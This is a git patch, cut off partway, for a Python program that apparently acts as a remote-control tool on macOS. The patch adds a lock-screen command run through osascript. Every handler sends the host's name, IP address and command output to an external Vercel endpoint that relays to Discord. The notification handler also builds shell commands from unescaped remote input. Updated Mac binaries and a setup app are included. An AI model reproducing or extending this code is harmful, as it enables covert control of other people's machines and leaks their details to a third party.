From 1b496addee65b770691d09ba924fb662427213f8 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 30 Aug 2023 01:27:02 +0800 Subject: update fix --- dist/main-mac | Bin 7454432 -> 7454720 bytes dist/main.app.zip | Bin 7379824 -> 7380136 bytes dist/main.app/Contents/MacOS/main | Bin 7454432 -> 7454720 bytes dist/setup.app.zip | Bin 7372312 -> 7372312 bytes main.py | 24 +++++++++++++++++++++--- 5 files changed, 21 insertions(+), 3 deletions(-) diff --git a/dist/main-mac b/dist/main-mac index dd33c1d..928c594 100755 Binary files a/dist/main-mac and b/dist/main-mac differ diff --git a/dist/main.app.zip b/dist/main.app.zip index a7dd330..ba5dc4a 100644 Binary files a/dist/main.app.zip and b/dist/main.app.zip differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index a6d1b7b..7026c50 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup.app.zip b/dist/setup.app.zip index 277e363..99b87e2 100644 Binary files a/dist/setup.app.zip and b/dist/setup.app.zip differ diff --git a/main.py b/main.py index c80d9e7..861a9b4 100644 --- a/main.py +++ b/main.py @@ -167,6 +167,24 @@ while True: except KeyboardInterrupt: continue continue + elif localcmd[1] == 'lock' or localcmd[1] == 'lockscreen': + if ossystem('osascript -e \'tell application "System Events" to keystroke "q" using {command down, control down}\'') == 0: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer going to lockscreen, cya...```") + old_command = command + except: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start lockingscreen```") + except KeyboardInterrupt: + continue + continue + else: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start lockingscreen```") + except KeyboardInterrupt: + continue + continue + except: continue @@ -198,7 +216,7 @@ while True: continue elif localcmd[1] == 'notify' or localcmd[1] == 'notification': if localcmd[4>len(localcmd)]: - if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'"): + if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Notified successfully```") old_command = command @@ -248,7 +266,7 @@ while True: continue elif localcmd[1] == 'quit' or localcmd[1] == 'close': if localcmd[2